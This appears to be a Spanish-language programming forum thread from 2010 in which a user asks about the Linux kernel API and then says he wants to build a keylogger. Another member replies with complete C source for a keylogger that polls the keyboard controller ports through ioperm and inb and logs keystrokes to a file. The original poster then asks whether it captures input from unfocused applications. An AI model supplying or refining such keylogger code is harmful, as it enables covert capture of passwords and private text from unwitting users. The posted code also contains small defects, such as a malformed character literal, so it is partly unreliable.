Api de linux

Iniciado por Gallu, 27 Agosto 2010, 11:50 AM

0 Miembros y 1 Visitante están viendo este tema.

Gallu

Hola ,  estoy buscando información sobre el api de linux , en principio me gustaría saber si es algo parecido al api de windows , alguien conoce algún enlace , libro ?
Nadie alcanza la meta con un solo intento, ni perfecciona la vida con una sola rectificación, ni alcanza altura con un solo vuelo.

Komodo

Supongo que te refieres al Kernel API Linux quien mejor que ellos mismos:

http://kernelbook.sourceforge.net/kernel-api.pdf


Gallu

Algo así , encontre algo muchisimo más completo , con mucha documentación y código fuente

http://lxr.linux.no/#linux+v2.6.35/

mi idea es crear un keylogger para linux , he intentado usar el lkl , pero la verdad no he podido , asi que pienso hacerlo desde 0.  Si alguien tiene idea de por donde debo empezar le agradeceria que me la comentara.

Muchas gracias
Nadie alcanza la meta con un solo intento, ni perfecciona la vida con una sola rectificación, ni alcanza altura con un solo vuelo.

Komodo

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/io.h>
#define KB_IO 0X60
#define KB_ST 0x64
#define SLEEP 50
key(int code) {
int i;
int ascii_code[] = {
11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30,
31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50,
51, 52, 53, 57};
int ascii_char[] = {
'0', ''', 'ì', 'b', 't', 'q', 'w', 'e', 'r', 't', 'y', 'u', 'i', 'o', 'p', 'è',
'+', 'n', 'a', 's', 'd', 'f', 'g', 'h', 'j', 'k', 'l', 'ò', 'à', '<', 'ù', 'z',
'x', 'c', 'v', 'b', 'n', 'm', ',', '.', '-', ' '};
for (i = 0; i < 42; i++) {
if (code == ascii_code[i])
return ascii_char[i];
}
}
int main(int argc, char **argv) {
int code = 0;
int last = 0;
FILE *file;
if (!argv[1]) {
fprintf(stderr, "%s <file>n", argv[0]);
exit(1);
}
if (!(file = fopen(argv[1], "w"))) {
fprintf(stderr, "imposible escribir %sn", argv[1]);
exit(2);
}
if (ioperm(KB_IO, 1, 1) == -1 || ioperm(KB_ST, 1, 1) == -1) {
fprintf(stderr, "fail");
exit(3);
}
while (1) {
code = 0;
if (inb(KB_ST) == 20)
code = inb(KB_IO);
if (code) {
if (code != last) {
last = code;
if (key(code)) {
fprintf(file, "%c", key(code));
fflush(file);
}
}
}
usleep(SLEEP);
}
return 0;
}


Gallu

¿Este código se ejecuta en segundo plano ? , me refiero a si registra las teclas aun cuando la aplicación no tenga el foco .
Nadie alcanza la meta con un solo intento, ni perfecciona la vida con una sola rectificación, ni alcanza altura con un solo vuelo.

Komodo

eso ya curratelo tu,no?


cbug

Un buen libro: Linux system programming. Ed: O'Reilly